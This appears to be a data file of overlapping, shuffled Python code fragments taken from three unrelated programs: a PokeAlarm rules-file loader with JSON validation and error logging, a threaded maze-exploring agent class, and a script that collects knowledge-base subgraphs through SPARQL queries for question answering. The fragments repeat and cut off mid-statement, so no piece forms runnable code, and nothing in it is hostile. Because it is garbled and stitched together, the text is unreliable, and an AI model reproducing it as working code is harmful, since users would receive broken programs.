"raise ValueError(\"{} rule is missing an `alarms` section.\".format( name)) filters = settings.pop('filters') alarms",
"if type(rules) is not OrderedDict: log.critical( \"Rules files must be a JSON object:",
"means the file isn't in the \" + \"correct json format. Try loading",
"Exception as e: log.error( \"Encountered error while parsing Rules. This is because of",
"\"Rules files must be a JSON object: { \\\"monsters\\\":[...],... }\" ) raise ValueError(\"Rules",
"'ValueError' while loading the \" + \"Rules file. This typically means the file",
"in rules: raise ValueError(( \"Unknown Event type '{}'. Rules must be defined under",
"{})) load_rules_section(manager.add_egg_rule, rules.pop('eggs', {})) load_rules_section(manager.add_raid_rule, rules.pop('raids', {})) for key in rules: raise ValueError((",
"\\\"monsters\\\":[...],... }\" ) raise ValueError(\"Rules file did not contain a dict.\") except ValueError",
"rules.json.example.\" ).format(key)) except Exception as e: log.error( \"Encountered error while parsing Rules. This",
"'alarms' not in settings: raise ValueError(\"{} rule is missing an `alarms` section.\".format( name))",
"be a JSON object: { \\\"monsters\\\":[...],... }\" ) raise ValueError(\"Rules file did not",
"your Rules file.\" ) log.error(\"{}: {}\".format(type(e).__name__, e)) sys.exit(1) def load_rules_section(set_rule, rules): for name,",
"at {}\".format(filepath)) with open(filepath, 'r') as f: rules = json.load(f, object_pairs_hook=OrderedDict) if type(rules)",
"contain a dict.\") except ValueError as e: log.error(\"Encountered error while loading Rules: {}:",
"because of a \" + \"mistake in your Rules file.\" ) log.error(\"{}: {}\".format(type(e).__name__,",
"logging import json import sys from collections import OrderedDict from .Utilities.GenUtils import get_path",
"JSON object: { \\\"monsters\\\":[...],... }\" ) raise ValueError(\"Rules file did not contain a",
"\"Rules file. This typically means the file isn't in the \" + \"correct",
"under the \" + \"correct event type. See example in rules.json.example.\" ).format(key)) except",
"ValueError(\"{} rule is missing an `alarms` section.\".format( name)) filters = settings.pop('filters') alarms =",
"type(rules) is not OrderedDict: log.critical( \"Rules files must be a JSON object: {",
"the \" + \"correct event type. See example in rules.json.example.\" ).format(key)) except Exception",
"ValueError(\"Rules file did not contain a dict.\") except ValueError as e: log.error(\"Encountered error",
"OrderedDict: log.critical( \"Rules files must be a JSON object: { \\\"monsters\\\":[...],... }\" )",
"log.error( \"PokeAlarm has encountered a 'ValueError' while loading the \" + \"Rules file.",
"sys from collections import OrderedDict from .Utilities.GenUtils import get_path log = logging.getLogger('LoadConfig') def",
"error while parsing Rules. This is because of a \" + \"mistake in",
"{}\".format(type(e).__name__, e)) sys.exit(1) def load_rules_section(set_rule, rules): for name, settings in rules.items(): if 'filters'",
"settings in rules.items(): if 'filters' not in settings: raise ValueError(\"{} rule is missing",
"collections import OrderedDict from .Utilities.GenUtils import get_path log = logging.getLogger('LoadConfig') def parse_rules_file(manager, filename):",
"the \" + \"correct json format. Try loading the file contents into a",
"load_rules_section(manager.add_monster_rule, rules.pop('monsters', {})) load_rules_section(manager.add_egg_rule, rules.pop('eggs', {})) load_rules_section(manager.add_raid_rule, rules.pop('raids', {})) for key in rules:",
"{}: {}\".format( type(e).__name__, e)) log.error( \"PokeAlarm has encountered a 'ValueError' while loading the",
"except Exception as e: log.error( \"Encountered error while parsing Rules. This is because",
"name)) if 'alarms' not in settings: raise ValueError(\"{} rule is missing an `alarms`",
"load_rules_section(manager.add_raid_rule, rules.pop('raids', {})) for key in rules: raise ValueError(( \"Unknown Event type '{}'.",
"from file at {}\".format(filepath)) with open(filepath, 'r') as f: rules = json.load(f, object_pairs_hook=OrderedDict)",
"not in settings: raise ValueError(\"{} rule is missing a `filters` section.\".format( name)) if",
"must be a JSON object: { \\\"monsters\\\":[...],... }\" ) raise ValueError(\"Rules file did",
"isn't in the \" + \"correct json format. Try loading the file contents",
"+ \"Rules file. This typically means the file isn't in the \" +",
"rule is missing an `alarms` section.\".format( name)) filters = settings.pop('filters') alarms = settings.pop('alarms')",
"= settings.pop('filters') alarms = settings.pop('alarms') set_rule(name, filters, alarms) if len(settings) > 0: raise",
"OrderedDict() try: log.info(\"Loading Rules from file at {}\".format(filepath)) with open(filepath, 'r') as f:",
"into a \" + \"json validator.\" ) sys.exit(1) try: load_rules_section(manager.add_monster_rule, rules.pop('monsters', {})) load_rules_section(manager.add_egg_rule,",
"if 'alarms' not in settings: raise ValueError(\"{} rule is missing an `alarms` section.\".format(",
"files must be a JSON object: { \\\"monsters\\\":[...],... }\" ) raise ValueError(\"Rules file",
"section.\".format( name)) if 'alarms' not in settings: raise ValueError(\"{} rule is missing an",
"an `alarms` section.\".format( name)) filters = settings.pop('filters') alarms = settings.pop('alarms') set_rule(name, filters, alarms)",
"log.critical( \"Rules files must be a JSON object: { \\\"monsters\\\":[...],... }\" ) raise",
"loading Rules: {}: {}\".format( type(e).__name__, e)) log.error( \"PokeAlarm has encountered a 'ValueError' while",
"event type. See example in rules.json.example.\" ).format(key)) except Exception as e: log.error( \"Encountered",
"e: log.error( \"Encountered error while parsing Rules. This is because of a \"",
"\" + \"json validator.\" ) sys.exit(1) try: load_rules_section(manager.add_monster_rule, rules.pop('monsters', {})) load_rules_section(manager.add_egg_rule, rules.pop('eggs', {}))",
"\" + \"correct event type. See example in rules.json.example.\" ).format(key)) except Exception as",
"settings: raise ValueError(\"{} rule is missing a `filters` section.\".format( name)) if 'alarms' not",
"'{}'. Rules must be defined under the \" + \"correct event type. See",
"log.info(\"Loading Rules from file at {}\".format(filepath)) with open(filepath, 'r') as f: rules =",
"is not OrderedDict: log.critical( \"Rules files must be a JSON object: { \\\"monsters\\\":[...],...",
"ValueError(( \"Unknown Event type '{}'. Rules must be defined under the \" +",
"def load_rules_section(set_rule, rules): for name, settings in rules.items(): if 'filters' not in settings:",
"Event type '{}'. Rules must be defined under the \" + \"correct event",
"See example in rules.json.example.\" ).format(key)) except Exception as e: log.error( \"Encountered error while",
"Rules from file at {}\".format(filepath)) with open(filepath, 'r') as f: rules = json.load(f,",
"raise ValueError(( \"Unknown Event type '{}'. Rules must be defined under the \"",
"a dict.\") except ValueError as e: log.error(\"Encountered error while loading Rules: {}: {}\".format(",
"rules.pop('eggs', {})) load_rules_section(manager.add_raid_rule, rules.pop('raids', {})) for key in rules: raise ValueError(( \"Unknown Event"
] |
[
"{}'.format(str(self.num), self.x, self.y)) if (self.labyrinth.isWalkable(self.x-1, self.y)): walkableSpots.append({'x': self.x-1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y-1)):",
"self.y)): walkableSpots.append({'x': self.x-1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y-1)): walkableSpots.append({'x': self.x, 'y': self.y-1}) if",
"= x self.y = y self.labyrinth = labyrinth self.callback = callback print(str(self.num)+': Created",
"if (self.labyrinth.isWalkable(self.x, self.y+1)): walkableSpots.append({'x': self.x, 'y': self.y+1}) if (len(walkableSpots)==1): self.x = walkableSpots[0]['x'] self.y",
"explore(self): self.callback() if self.labyrinth.finished or self.labyrinth.isVisited(self.x, self.y): sys.exit() walkableSpots = [] if (self.labyrinth.isFinish(self.x,",
"(self.labyrinth.isFinish(self.x, self.y)): print(str(self.num)+': Agent found the exit at x: '+str(self.x)+', y: '+str(self.y)) self.labyrinth.finished",
"spot in enumerate(walkableSpots, start = 1): agent = Agent(spot['x'], spot['y'], self.labyrinth, self.callback) self.x",
"threading.Thread(target=self.explore) t.start() def explore(self): self.callback() if self.labyrinth.finished or self.labyrinth.isVisited(self.x, self.y): sys.exit() walkableSpots =",
"in enumerate(walkableSpots, start = 1): agent = Agent(spot['x'], spot['y'], self.labyrinth, self.callback) self.x =",
"num = 0 x = 0 y = 0 labyrinth = None callback",
"= 0 labyrinth = None callback = None def __init__(self, x, y, labyrinth,",
"agent = Agent(spot['x'], spot['y'], self.labyrinth, self.callback) self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t",
"t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots) == 0): print(str(self.num)+': Dead end reached, dying...')",
"self.y) print('{}: Visiting {} {}'.format(str(self.num), self.x, self.y)) if (self.labyrinth.isWalkable(self.x-1, self.y)): walkableSpots.append({'x': self.x-1, 'y':",
"self.x, 'y': self.y+1}) if (len(walkableSpots)==1): self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t =",
"self.labyrinth.finished = True sys.exit() self.labyrinth.visit(self.x, self.y) print('{}: Visiting {} {}'.format(str(self.num), self.x, self.y)) if",
"threading.Thread(target=self.explore) t.start() if (len(walkableSpots)>1): for num, spot in enumerate(walkableSpots, start = 1): agent",
"self.callback) self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots)",
"= Agent(spot['x'], spot['y'], self.labyrinth, self.callback) self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t =",
"(len(walkableSpots)==1): self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots)>1):",
"enumerate(walkableSpots, start = 1): agent = Agent(spot['x'], spot['y'], self.labyrinth, self.callback) self.x = walkableSpots[0]['x']",
"self.labyrinth.isVisited(self.x, self.y): sys.exit() walkableSpots = [] if (self.labyrinth.isFinish(self.x, self.y)): print(str(self.num)+': Agent found the",
"y self.labyrinth = labyrinth self.callback = callback print(str(self.num)+': Created new agent. Exploring...') t",
"if self.labyrinth.finished or self.labyrinth.isVisited(self.x, self.y): sys.exit() walkableSpots = [] if (self.labyrinth.isFinish(self.x, self.y)): print(str(self.num)+':",
"self.y)): print(str(self.num)+': Agent found the exit at x: '+str(self.x)+', y: '+str(self.y)) self.labyrinth.finished =",
"labyrinth = None callback = None def __init__(self, x, y, labyrinth, callback): self.num",
"= 1): agent = Agent(spot['x'], spot['y'], self.labyrinth, self.callback) self.x = walkableSpots[0]['x'] self.y =",
"= None def __init__(self, x, y, labyrinth, callback): self.num = time.time()*1000 self.x =",
"self.labyrinth = labyrinth self.callback = callback print(str(self.num)+': Created new agent. Exploring...') t =",
"self.x-1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y-1)): walkableSpots.append({'x': self.x, 'y': self.y-1}) if (self.labyrinth.isWalkable(self.x+1, self.y)):",
"= walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots) == 0): print(str(self.num)+': Dead end",
"self.y = y self.labyrinth = labyrinth self.callback = callback print(str(self.num)+': Created new agent.",
"self.y)) if (self.labyrinth.isWalkable(self.x-1, self.y)): walkableSpots.append({'x': self.x-1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y-1)): walkableSpots.append({'x': self.x,",
"print('{}: Visiting {} {}'.format(str(self.num), self.x, self.y)) if (self.labyrinth.isWalkable(self.x-1, self.y)): walkableSpots.append({'x': self.x-1, 'y': self.y})",
"callback): self.num = time.time()*1000 self.x = x self.y = y self.labyrinth = labyrinth",
"(len(walkableSpots)>1): for num, spot in enumerate(walkableSpots, start = 1): agent = Agent(spot['x'], spot['y'],",
"walkableSpots.append({'x': self.x, 'y': self.y-1}) if (self.labyrinth.isWalkable(self.x+1, self.y)): walkableSpots.append({'x': self.x+1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x,",
"{} {}'.format(str(self.num), self.x, self.y)) if (self.labyrinth.isWalkable(self.x-1, self.y)): walkableSpots.append({'x': self.x-1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x,",
"if (len(walkableSpots)==1): self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if",
"self.labyrinth.finished or self.labyrinth.isVisited(self.x, self.y): sys.exit() walkableSpots = [] if (self.labyrinth.isFinish(self.x, self.y)): print(str(self.num)+': Agent",
"[] if (self.labyrinth.isFinish(self.x, self.y)): print(str(self.num)+': Agent found the exit at x: '+str(self.x)+', y:",
"import sys import os import Labyrinth import time import threading class Agent: num",
"walkableSpots.append({'x': self.x, 'y': self.y+1}) if (len(walkableSpots)==1): self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t",
"labyrinth, callback): self.num = time.time()*1000 self.x = x self.y = y self.labyrinth =",
"Agent(spot['x'], spot['y'], self.labyrinth, self.callback) self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore)",
"self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots)>1): for num, spot in",
"(self.labyrinth.isWalkable(self.x, self.y+1)): walkableSpots.append({'x': self.x, 'y': self.y+1}) if (len(walkableSpots)==1): self.x = walkableSpots[0]['x'] self.y =",
"= [] if (self.labyrinth.isFinish(self.x, self.y)): print(str(self.num)+': Agent found the exit at x: '+str(self.x)+',",
"callback = None def __init__(self, x, y, labyrinth, callback): self.num = time.time()*1000 self.x",
"Agent found the exit at x: '+str(self.x)+', y: '+str(self.y)) self.labyrinth.finished = True sys.exit()",
"print(str(self.num)+': Agent found the exit at x: '+str(self.x)+', y: '+str(self.y)) self.labyrinth.finished = True",
"= threading.Thread(target=self.explore) t.start() if (len(walkableSpots) == 0): print(str(self.num)+': Dead end reached, dying...') sys.exit()",
"= y self.labyrinth = labyrinth self.callback = callback print(str(self.num)+': Created new agent. Exploring...')",
"self.y-1)): walkableSpots.append({'x': self.x, 'y': self.y-1}) if (self.labyrinth.isWalkable(self.x+1, self.y)): walkableSpots.append({'x': self.x+1, 'y': self.y}) if",
"self.x = x self.y = y self.labyrinth = labyrinth self.callback = callback print(str(self.num)+':",
"self.num = time.time()*1000 self.x = x self.y = y self.labyrinth = labyrinth self.callback",
"y: '+str(self.y)) self.labyrinth.finished = True sys.exit() self.labyrinth.visit(self.x, self.y) print('{}: Visiting {} {}'.format(str(self.num), self.x,",
"= callback print(str(self.num)+': Created new agent. Exploring...') t = threading.Thread(target=self.explore) t.start() def explore(self):",
"Created new agent. Exploring...') t = threading.Thread(target=self.explore) t.start() def explore(self): self.callback() if self.labyrinth.finished",
"time import threading class Agent: num = 0 x = 0 y =",
"x self.y = y self.labyrinth = labyrinth self.callback = callback print(str(self.num)+': Created new",
"'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y-1)): walkableSpots.append({'x': self.x, 'y': self.y-1}) if (self.labyrinth.isWalkable(self.x+1, self.y)): walkableSpots.append({'x':",
"self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots)>1): for",
"exit at x: '+str(self.x)+', y: '+str(self.y)) self.labyrinth.finished = True sys.exit() self.labyrinth.visit(self.x, self.y) print('{}:",
"spot['y'], self.labyrinth, self.callback) self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start()",
"self.x, self.y)) if (self.labyrinth.isWalkable(self.x-1, self.y)): walkableSpots.append({'x': self.x-1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y-1)): walkableSpots.append({'x':",
"y = 0 labyrinth = None callback = None def __init__(self, x, y,",
"self.labyrinth, self.callback) self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if",
"self.y+1)): walkableSpots.append({'x': self.x, 'y': self.y+1}) if (len(walkableSpots)==1): self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y']",
"if (self.labyrinth.isWalkable(self.x+1, self.y)): walkableSpots.append({'x': self.x+1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y+1)): walkableSpots.append({'x': self.x, 'y':",
"= threading.Thread(target=self.explore) t.start() if (len(walkableSpots)>1): for num, spot in enumerate(walkableSpots, start = 1):",
"walkableSpots = [] if (self.labyrinth.isFinish(self.x, self.y)): print(str(self.num)+': Agent found the exit at x:",
"class Agent: num = 0 x = 0 y = 0 labyrinth =",
"x: '+str(self.x)+', y: '+str(self.y)) self.labyrinth.finished = True sys.exit() self.labyrinth.visit(self.x, self.y) print('{}: Visiting {}",
"self.x, 'y': self.y-1}) if (self.labyrinth.isWalkable(self.x+1, self.y)): walkableSpots.append({'x': self.x+1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y+1)):",
"True sys.exit() self.labyrinth.visit(self.x, self.y) print('{}: Visiting {} {}'.format(str(self.num), self.x, self.y)) if (self.labyrinth.isWalkable(self.x-1, self.y)):",
"= time.time()*1000 self.x = x self.y = y self.labyrinth = labyrinth self.callback =",
"the exit at x: '+str(self.x)+', y: '+str(self.y)) self.labyrinth.finished = True sys.exit() self.labyrinth.visit(self.x, self.y)",
"print(str(self.num)+': Created new agent. Exploring...') t = threading.Thread(target=self.explore) t.start() def explore(self): self.callback() if",
"walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots) == 0): print(str(self.num)+': Dead end reached,",
"x, y, labyrinth, callback): self.num = time.time()*1000 self.x = x self.y = y",
"new agent. Exploring...') t = threading.Thread(target=self.explore) t.start() def explore(self): self.callback() if self.labyrinth.finished or",
"'y': self.y-1}) if (self.labyrinth.isWalkable(self.x+1, self.y)): walkableSpots.append({'x': self.x+1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y+1)): walkableSpots.append({'x':",
"found the exit at x: '+str(self.x)+', y: '+str(self.y)) self.labyrinth.finished = True sys.exit() self.labyrinth.visit(self.x,",
"walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots) == 0): print(str(self.num)+':",
"(self.labyrinth.isWalkable(self.x, self.y-1)): walkableSpots.append({'x': self.x, 'y': self.y-1}) if (self.labyrinth.isWalkable(self.x+1, self.y)): walkableSpots.append({'x': self.x+1, 'y': self.y})",
"or self.labyrinth.isVisited(self.x, self.y): sys.exit() walkableSpots = [] if (self.labyrinth.isFinish(self.x, self.y)): print(str(self.num)+': Agent found",
"num, spot in enumerate(walkableSpots, start = 1): agent = Agent(spot['x'], spot['y'], self.labyrinth, self.callback)",
"import time import threading class Agent: num = 0 x = 0 y",
"= None callback = None def __init__(self, x, y, labyrinth, callback): self.num =",
"self.y): sys.exit() walkableSpots = [] if (self.labyrinth.isFinish(self.x, self.y)): print(str(self.num)+': Agent found the exit",
"= True sys.exit() self.labyrinth.visit(self.x, self.y) print('{}: Visiting {} {}'.format(str(self.num), self.x, self.y)) if (self.labyrinth.isWalkable(self.x-1,",
"self.y}) if (self.labyrinth.isWalkable(self.x, self.y+1)): walkableSpots.append({'x': self.x, 'y': self.y+1}) if (len(walkableSpots)==1): self.x = walkableSpots[0]['x']",
"for num, spot in enumerate(walkableSpots, start = 1): agent = Agent(spot['x'], spot['y'], self.labyrinth,",
"= 0 x = 0 y = 0 labyrinth = None callback =",
"self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots) ==",
"start = 1): agent = Agent(spot['x'], spot['y'], self.labyrinth, self.callback) self.x = walkableSpots[0]['x'] self.y",
"self.callback() if self.labyrinth.finished or self.labyrinth.isVisited(self.x, self.y): sys.exit() walkableSpots = [] if (self.labyrinth.isFinish(self.x, self.y)):",
"= walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots)>1): for num,",
"import threading class Agent: num = 0 x = 0 y = 0",
"= labyrinth self.callback = callback print(str(self.num)+': Created new agent. Exploring...') t = threading.Thread(target=self.explore)",
"self.y)): walkableSpots.append({'x': self.x+1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y+1)): walkableSpots.append({'x': self.x, 'y': self.y+1}) if",
"self.y-1}) if (self.labyrinth.isWalkable(self.x+1, self.y)): walkableSpots.append({'x': self.x+1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y+1)): walkableSpots.append({'x': self.x,",
"'y': self.y+1}) if (len(walkableSpots)==1): self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore)",
"(self.labyrinth.isWalkable(self.x-1, self.y)): walkableSpots.append({'x': self.x-1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y-1)): walkableSpots.append({'x': self.x, 'y': self.y-1})",
"0 labyrinth = None callback = None def __init__(self, x, y, labyrinth, callback):",
"None callback = None def __init__(self, x, y, labyrinth, callback): self.num = time.time()*1000",
"labyrinth self.callback = callback print(str(self.num)+': Created new agent. Exploring...') t = threading.Thread(target=self.explore) t.start()",
"walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots)>1): for num, spot",
"self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots) == 0): print(str(self.num)+': Dead",
"at x: '+str(self.x)+', y: '+str(self.y)) self.labyrinth.finished = True sys.exit() self.labyrinth.visit(self.x, self.y) print('{}: Visiting",
"(self.labyrinth.isWalkable(self.x+1, self.y)): walkableSpots.append({'x': self.x+1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y+1)): walkableSpots.append({'x': self.x, 'y': self.y+1})",
"if (self.labyrinth.isFinish(self.x, self.y)): print(str(self.num)+': Agent found the exit at x: '+str(self.x)+', y: '+str(self.y))",
"'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y+1)): walkableSpots.append({'x': self.x, 'y': self.y+1}) if (len(walkableSpots)==1): self.x =",
"Exploring...') t = threading.Thread(target=self.explore) t.start() def explore(self): self.callback() if self.labyrinth.finished or self.labyrinth.isVisited(self.x, self.y):",
"t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots)>1): for num, spot in enumerate(walkableSpots, start =",
"import os import Labyrinth import time import threading class Agent: num = 0",
"= walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots)>1): for num, spot in enumerate(walkableSpots,",
"threading class Agent: num = 0 x = 0 y = 0 labyrinth",
"x = 0 y = 0 labyrinth = None callback = None def",
"'+str(self.y)) self.labyrinth.finished = True sys.exit() self.labyrinth.visit(self.x, self.y) print('{}: Visiting {} {}'.format(str(self.num), self.x, self.y))",
"import Labyrinth import time import threading class Agent: num = 0 x =",
"callback print(str(self.num)+': Created new agent. Exploring...') t = threading.Thread(target=self.explore) t.start() def explore(self): self.callback()",
"'+str(self.x)+', y: '+str(self.y)) self.labyrinth.finished = True sys.exit() self.labyrinth.visit(self.x, self.y) print('{}: Visiting {} {}'.format(str(self.num),",
"self.labyrinth.visit(self.x, self.y) print('{}: Visiting {} {}'.format(str(self.num), self.x, self.y)) if (self.labyrinth.isWalkable(self.x-1, self.y)): walkableSpots.append({'x': self.x-1,",
"= threading.Thread(target=self.explore) t.start() def explore(self): self.callback() if self.labyrinth.finished or self.labyrinth.isVisited(self.x, self.y): sys.exit() walkableSpots",
"Labyrinth import time import threading class Agent: num = 0 x = 0",
"def __init__(self, x, y, labyrinth, callback): self.num = time.time()*1000 self.x = x self.y",
"self.x+1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y+1)): walkableSpots.append({'x': self.x, 'y': self.y+1}) if (len(walkableSpots)==1): self.x",
"agent. Exploring...') t = threading.Thread(target=self.explore) t.start() def explore(self): self.callback() if self.labyrinth.finished or self.labyrinth.isVisited(self.x,",
"walkableSpots.append({'x': self.x+1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y+1)): walkableSpots.append({'x': self.x, 'y': self.y+1}) if (len(walkableSpots)==1):",
"t.start() def explore(self): self.callback() if self.labyrinth.finished or self.labyrinth.isVisited(self.x, self.y): sys.exit() walkableSpots = []",
"0 y = 0 labyrinth = None callback = None def __init__(self, x,",
"sys.exit() walkableSpots = [] if (self.labyrinth.isFinish(self.x, self.y)): print(str(self.num)+': Agent found the exit at",
"__init__(self, x, y, labyrinth, callback): self.num = time.time()*1000 self.x = x self.y =",
"Visiting {} {}'.format(str(self.num), self.x, self.y)) if (self.labyrinth.isWalkable(self.x-1, self.y)): walkableSpots.append({'x': self.x-1, 'y': self.y}) if",
"y, labyrinth, callback): self.num = time.time()*1000 self.x = x self.y = y self.labyrinth",
"t.start() if (len(walkableSpots)>1): for num, spot in enumerate(walkableSpots, start = 1): agent =",
"sys import os import Labyrinth import time import threading class Agent: num =",
"sys.exit() self.labyrinth.visit(self.x, self.y) print('{}: Visiting {} {}'.format(str(self.num), self.x, self.y)) if (self.labyrinth.isWalkable(self.x-1, self.y)): walkableSpots.append({'x':",
"os import Labyrinth import time import threading class Agent: num = 0 x",
"None def __init__(self, x, y, labyrinth, callback): self.num = time.time()*1000 self.x = x",
"1): agent = Agent(spot['x'], spot['y'], self.labyrinth, self.callback) self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y']",
"def explore(self): self.callback() if self.labyrinth.finished or self.labyrinth.isVisited(self.x, self.y): sys.exit() walkableSpots = [] if",
"if (self.labyrinth.isWalkable(self.x-1, self.y)): walkableSpots.append({'x': self.x-1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y-1)): walkableSpots.append({'x': self.x, 'y':",
"time.time()*1000 self.x = x self.y = y self.labyrinth = labyrinth self.callback = callback",
"if (self.labyrinth.isWalkable(self.x, self.y-1)): walkableSpots.append({'x': self.x, 'y': self.y-1}) if (self.labyrinth.isWalkable(self.x+1, self.y)): walkableSpots.append({'x': self.x+1, 'y':",
"self.callback = callback print(str(self.num)+': Created new agent. Exploring...') t = threading.Thread(target=self.explore) t.start() def",
"walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots)>1): for num, spot in enumerate(walkableSpots, start",
"if (len(walkableSpots)>1): for num, spot in enumerate(walkableSpots, start = 1): agent = Agent(spot['x'],",
"Agent: num = 0 x = 0 y = 0 labyrinth = None",
"walkableSpots.append({'x': self.x-1, 'y': self.y}) if (self.labyrinth.isWalkable(self.x, self.y-1)): walkableSpots.append({'x': self.x, 'y': self.y-1}) if (self.labyrinth.isWalkable(self.x+1,",
"self.y+1}) if (len(walkableSpots)==1): self.x = walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start()",
"= walkableSpots[0]['x'] self.y = walkableSpots[0]['y'] t = threading.Thread(target=self.explore) t.start() if (len(walkableSpots) == 0):",
"0 x = 0 y = 0 labyrinth = None callback = None",
"self.y}) if (self.labyrinth.isWalkable(self.x, self.y-1)): walkableSpots.append({'x': self.x, 'y': self.y-1}) if (self.labyrinth.isWalkable(self.x+1, self.y)): walkableSpots.append({'x': self.x+1,",
"= 0 y = 0 labyrinth = None callback = None def __init__(self,",
"t = threading.Thread(target=self.explore) t.start() def explore(self): self.callback() if self.labyrinth.finished or self.labyrinth.isVisited(self.x, self.y): sys.exit()"
] |
[
"= find_paths(e1_map, q_ent, ans_ent) all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': paths}) len_q += len(paths)",
"too much per query. Worth asking some SPARQL expert, how # to handle",
"hop=1) if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop)",
"qid, _ in qid2qents.items(): if qid not in all_subgraphs: empty_qids.add(qid) for empty_qid in",
"+ \" ?r1 ?e1. FILTER(STR(?e1) = '\" + ans_ent + \"') }\" ret",
"os.path.join(args.output_dir, \"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower())) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) print(\"Min: {}, Mean: {},",
"its own KB and not full Freebase, hence do not need SPARQL #",
"set() for qid, _ in qid2qents.items(): if qid not in all_subgraphs: empty_qids.add(qid) for",
"= \"select distinct ?r1 ?r2 where { \" + \"ns:\" + q_ent +",
"'cwq': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_cwq(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'freebaseqa': qid2qents,",
"default=1) parser.add_argument(\"--use_wandb\", type=int, default=1) args = parser.parse_args() args.use_wandb = (args.use_wandb == 1) if",
"only look in the one-hop neighborhood. # Doing more that takes way too",
"{}\".format(st, en)) empty_ctr = 0 all_len = [] for ctr, (qid, q_ents) in",
"execute_kb_query_for_hops(spql_2_hop, hop=2) is_exception = ret[1] if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains':",
"if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_2_hop) spql_1_hop",
"\\ get_query_entities_and_answers_metaqa, read_metaqa_kb, find_paths if __name__ == '__main__': parser = argparse.ArgumentParser(description=\"Collect subgraphs around",
"[(qid, q_ents) for (qid, q_ents) in sorted(qid2qents.items(), key=lambda item: item[0])] job_size = len(qid2qents)",
"in qid2qents.items(): if qid not in all_subgraphs: empty_qids.add(qid) for empty_qid in tqdm(empty_qids): q_ents",
"that takes way too much per query. Worth asking some SPARQL expert, how",
"Freebase, hence do not need SPARQL # read metaqa KB # find 1,",
"hop=1) is_exception = ret[1] if not is_exception: all_subgraphs[empty_qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]})",
"around entities using CBR\") parser.add_argument(\"--train_file\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json') parser.add_argument(\"--dataset_name\", type=str, default='webqsp') parser.add_argument(\"--output_dir\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities')",
"\"wb\") as fout: pickle.dump(all_subgraphs, fout) print(\"Min: {}, Mean: {}, Median: {}, Max:{}\".format(np.min(all_len), np.mean(all_len),",
"key=lambda item: item[0])] job_size = len(qid2qents) / args.total_jobs st = args.job_id * job_size",
